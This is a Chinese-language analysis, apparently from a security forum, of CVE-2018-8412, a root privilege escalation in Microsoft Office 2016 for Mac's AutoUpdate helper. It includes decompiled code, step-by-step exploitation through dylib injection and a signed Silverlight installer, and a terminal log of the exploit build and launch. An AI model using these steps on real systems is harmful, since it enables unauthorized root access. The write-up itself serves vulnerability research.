CVE-2018-8412 Microsoft Office 2016 Mac 版本地权限提升漏洞分析

chybeta / 2018-08-24 11:06:48 / 浏览数 2499 安全技术 漏洞分析 顶(0) 踩(0)

■■：■■■■■

CVE-2018-8412 在微软 8 月的漏洞公告中修复，影响此前所有版本的 Office 2016 for Mac 以及 SkypeForBusiness。漏洞成因是先后绕过了两次代码签名验证，通过进程间通信调用特权进程的接口执行了恶意代码，可实现普通用户到 root 的权限提升。

XPC 签名认证绕过

Office 2016 for Mac 安装了一个特权服务，来实现自动更新：`/Library/PrivilegedHelperTools/com.microsoft.autoupdate.helper`（以下简称 MAU）

此服务仅提供了两个 XPC 接口：

```
@protocol MAUHelperToolProtocol
- (void)logString:(NSString *)arg1 atLevel:(int)arg2 fromAppName:(NSString *)arg3;
- (void)installUpdateWithPackage:(NSString *)arg1 withXMLPath:(NSString *)arg2 withReply:(void (^)(NSString *))arg3;
@end
```

在 XPC 建立连接的时候，会检查对方 pid 对应的代码签名是否在白名单之内：

```
char __cdecl -[MAUHelperTool listener:shouldAcceptNewConnection:](MAUHelperTool *self, SEL a2, id a3, id a4)
{
 ...

 caller_pid = (unsigned __int64)objc_msgSend(v6, "processIdentifier", self);
 ksecguestattrpid = kSecGuestAttributePid;
 number_with_pid = objc_msgSend(&OBJC_CLASS___NSNumber, "numberWithInt:", caller_pid);
 pid_as_nsnumber = objc_retainAutoreleasedReturnValue(number_with_pid);
 _dict = objc_msgSend(
           &OBJC_CLASS___NSDictionary,
           "dictionaryWithObjects:forKeys:count:",
           &pid_as_nsnumber,
           &ksecguestattrpid,
           1LL);
 attributes = objc_retainAutoreleasedReturnValue(_dict);
 objc_release(pid_as_nsnumber);
 guest_code = 0LL;
 v12 = 0;
 if ( !(unsigned int)SecCodeCopyGuestWithAttributes(0LL, attributes, 0LL, &guest_code) )// kSecCSDefaultFlags
 {
   v43 = 0LL;
   v12 = 0;
   if ( !(unsigned int)SecRequirementCreateWithString(
                         CFSTR("(identifier \"com.microsoft.autoupdate2\" or identifier \"com.microsoft.autoupdate.fba\") and
                         0LL,
                         &v43) )
     v12 = (unsigned int)SecCodeCheckValidity(guest_code, 0LL, v43) == 0;
   if ( v43 )
     CFRelease(v43);
```

在这里存在两个漏洞点。

条件竞争

首先是 pid 是一个很容易造成条件竞争的参数，可参考 MacOS/iOS userspace entitlement checking is racy 一文。使用 posix_spawn 或者 exec 系列调用即可使用原有 pid 替换掉当前进程，在 XPC 服务处理消息队列的时间窗口中造成条件竞争，绕过检查。

但进一步分析发现这一漏洞实际上不可利用。并不是由于时间窗口太小，而是微软不按套路出牌的代码实现。在 XPC 回调中，MAU 设置了一个 invalidation handler 处理 XPC 中断连接的事件：

```
v30 = _NSConcreteStackBlock;
   v31 = -1040187392;
   v32 = 0;
   v33 = sub_100002748;
```

```
  v34 = &unk_100008440;
  v19 = (void *)objc_retain(v27, v7);
  v35 = v19;
  objc_copyWeak(&v36, &v43);
  objc_msgSend(v7, "setInvalidationHandler:", &v30);
  v20 = objc_msgSend(v19, "loggingConnections");
  v21 = (void *)objc_retainAutoreleasedReturnValue(v20);
  objc_msgSend(v21, "performSelectorOnMainThread:withObject:waitUntilDone:", "addObject:", v7, 1LL);
  objc_release(v21);
```

而在这个事件当中，代码会修改上下文状态：

```
__int64 __fastcall sub_100002748(__int64 a1)
{
 void *v1; // rax
 void *v2; // r14
 __int64 v3; // rbx

 v1 = objc_msgSend(*(void **)(a1 + 32), "loggingConnections");
 v2 = (void *)objc_retainAutoreleasedReturnValue(v1);
 v3 = objc_loadWeakRetained(a1 + 40);
 objc_msgSend(v2, "performSelectorOnMainThread:withObject:waitUntilDone:", "removeObject:", v3, 1LL);
 objc_release(v3);
 return objc_release(v2);
}
```

这将导致 [MAUHelperTool shouldExit] 方法返回 true。而 GCD
中注册了一个事件循环回调，一旦检测到这一标志，进程将立即退出，而忽略消息队列之后的请求。即使连接检查被绕过，也会因为进程先一步退出而无法触发后续行为。

模块注入

另外一个方法就太简单了。代码签名的检查没有针对整个进程空间，而是只检查主模块。这就意味着使用 DYLD_INSERT_LIBRARIES 可以直接绕过。

合法的可执行文件如下，任选一个注入即可：

- /Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app/Contents/MacOS/Microsoft AutoUpdate
- /Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app/Contents/MacOS/Microsoft AU Daemon.app/Contents/MacOS/Microsoft AU Daemon

绕过了第一层签名检查，接下来可以在接口上做文章了。

SilverLight——最后的挣扎

MAU 提供的接口有一个 -[MAUHelperTool installUpdateWithPackage:withXMLPath:withReply:] ，行为就是以 root 权限安装一个 pkg 包。pkg 包是 macOS 上类似 Windows 的 msi 的格式，既然是安装包自然具有代码执行能力。很不幸在这里还会做一次签名，这次是针对 pkg 的。MAU 在这里会先对文件 chown 到 root，完全没有时间差替换的机会。

一度认为这个问题无法利用下去，闲置了很久。后来变换思路，从 pkg 入手。微软在 macOS 上的产品用手指头都能数过来，一个一个下载分析。

SilverLight 是曾经用来与 Adobe Flash 竞争的产品，而现在这两家的样子大家也看到了……至于 Java Applet / Flash / SilverLight 和 WASM
他们之间到底有什么爱恨情仇不是本文的重点。我们还是展开他的安装包看看。

https://www.microsoft.com/getsilverlight/Get-Started/Install/Default

这个安装包也有点年头了。下载回来检查签名：

```
$ pkgutil --check-sign /Volumes/Silverlight/silverlight.pkg
Package "silverlight.pkg":
  Status: signed by a certificate trusted by Mac OS X
  Certificate Chain:
   1. Developer ID Installer: Microsoft Corporation (UBF8T346G9)
      SHA1 fingerprint: 9B 6B 91 3B B1 3F 68 26 12 20 EC 72 11 F0 F2 0E 92 E4 B1 EB
      ------------------------------------------------------------------------
   2. Developer ID Certification Authority
      SHA1 fingerprint: 3B 16 6C 3B 7D C4 B7 51 C9 FE 2A FA B9 13 56 41 E3 88 E1 86
      ------------------------------------------------------------------------
   3. Apple Root CA
      SHA1 fingerprint: 61 1E 5B 66 2C 59 3A 08 FF 58 D1 4A E2 24 52 D1 98 DF 6C 60
```

可以通过检查。pkgutil --expand 解压一下。

一个 pkg 通常会包含如下文件：

- PackageInfo 包信息
- Payload 文件压缩包
- Scripts/ 安装前、安装后等时期运行的脚本，将会以无沙箱的 root 权限执行

在 SilverLight 的安装脚本中可以看到如下内容：

创建了全局可写的目录

```
pushd /Library/Internet\ Plug-Ins/
rm -rf WPFe.plugin/
chown -R root:admin Silverlight.plugin/
chmod -R 775 Silverlight.plugin/
popd

pushd /Library/Application\ Support/Microsoft/
chown -R root:admin Silverlight/
chmod -R 775 Silverlight/
popd

pushd /Library/Application\ Support/
chown root:admin Microsoft/
chmod 775 Microsoft/
```

一些有意思的命令：

```
_PRIBX=`ls -r "/Library/Application Support/Microsoft/PlayReady/Cache" | grep .key | awk '{if (NR==1) {print $1}}' `
   if [ "$_PRIBX" ]
   then
       _PRIBXVER=`./PlayReadyGetIBXVersionTool "/Library/Application Support/Microsoft/PlayReady/Cache/"$_PRIBX`
       if [ "$_PRIBXVER" = "mspribx.1.5.8" ]
```

在指定的 Cache 目录下查找扩展名为 *.key 的文件，并传入 PlayReadyGetIBXVersionTool 命令

```
pushd "/tmp/SilverlightInstallTools"
_SPRDResult=`./rundylib "/Library/Internet Plug-Ins/Silverlight.plugin/Contents/MacOS/SLMSPRBootstrap.dylib"`
```

以及使用 rundylib 打开一个固定路径的链接库。

这个rundylib 是干嘛的？

```
int __cdecl main(int argc, const char <strong>argv, const char </strong>envp)
{
 ...
 v3 = argv[1];
 if ( !v3 )
 {
   puts("ERROR: Invalid path ");
   return 1;
 }
 v5 = dlopen(v3, 5);
}
```

这名字真是诚不我欺……

那么 PlayReadyGetIBXVersionTool 呢？

```
signed int __cdecl GetDyLibVersion(const char *path, unsigned int *a2, unsigned int *a3, unsigned int *a4)
{
 ...
 handle = dlopen(path, 1);
 if ( handle )
 {
   v6 = _dyld_image_count();
   for ( i = 0; ; ++i )
   {
     if ( i == v6 )
       goto LABEL_22;
     v8 = _dyld_get_image_name(i);
     if ( !v8 )
```

```
    {
      v9 = dlerror();
      printf("Image name not found or index out of range. Error: %s\n", v9);
      v5 = 5;
      goto LABEL_21;
    }
    if ( !strcmp(v8, path) )
      break;
  }
  v10 = _dyld_get_image_header(i);
  if ( !v10 )
  {
```

本意是要获取一个动态链接库的版本，可是为什么要 dlopen 运行起来呢？请注意，在之前的命令中吗，这些路径已经被设置为全局可写：

- /Library/Internet Plug-Ins/Silverlight.plugin/Contents/MacOS/SLMSPRBootstrap.dylib
- /Library/Application Support/Microsoft/PlayReady/Cache

替换 SLMSPRBootstrap.dylib 需要条件竞争，比较难以控制；而 Cache 则没有这个问题。

利用步骤如下：

- 下载具有微软签名的 SilverLight 安装包备用（14M）
- DYLD_INSERT_LIBRARIES 注入"可信"的进程
- 第一次向 MAU 发送 IPC 请求安装软件包，不做任何事情，让其创建所需要的父目录（/Library/Application Support/Microsoft/SilverLight）
- 将恶意的 dylib 保存到指定路径
- 第二次向 MAU 发送 IPC 请求，加载恶意的 dylib

```
➜  msoffice git:(master) ps aux | grep Calc
codecolorist      3813   0.0  0.0  4270840    928 s014  S+    5:31PM   0:00.00 grep --color=auto --exclude-dir=.bzr --exclude-
➜  msoffice git:(master) make run
mkdir -p "./bin"
cc   -framework Foundation \
       -dynamiclib xpc.mm \
       -o "./bin"/xpc.dylib
cc  -m32  -framework Foundation \
       -dynamiclib root.mm \
       -o "./bin"/root.dylib
mkdir -p "/Library/Application Support/Microsoft/PlayReady/mspr.hds"
mkdir -p "/Library/Application Support/Microsoft/PlayReady/Cache/"
cp "./bin"/root.dylib "/Library/Application Support/Microsoft/PlayReady/Cache/exp.key"
DYLD_INSERT_LIBRARIES=""./bin"/xpc.dylib" \
       "/Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app/Contents/MacOS/Microsoft AutoUpdate"
done%
codecolorist      3878   0.0  0.0  4267768    896 s014  S+    5:32PM   0:00.00 grep --color=auto --exclude-dir=.bzr --exclude-
root              3874   0.0  0.2  4446648  30428   ??  S     5:31PM   0:00.43 /Applications/Calculator.app/Contents/MacOS/Cal
```

番外

近日有研究者放出了一个 MS Office 2016 for Mac 的沙箱配置问题，可以在允许执行宏代码的情况下逃逸沙箱执行任意程序（会强制注销一次系统）

https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/

两个问题结合一下就可以给红队在 mac 下干一些坏坏的事情了……

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板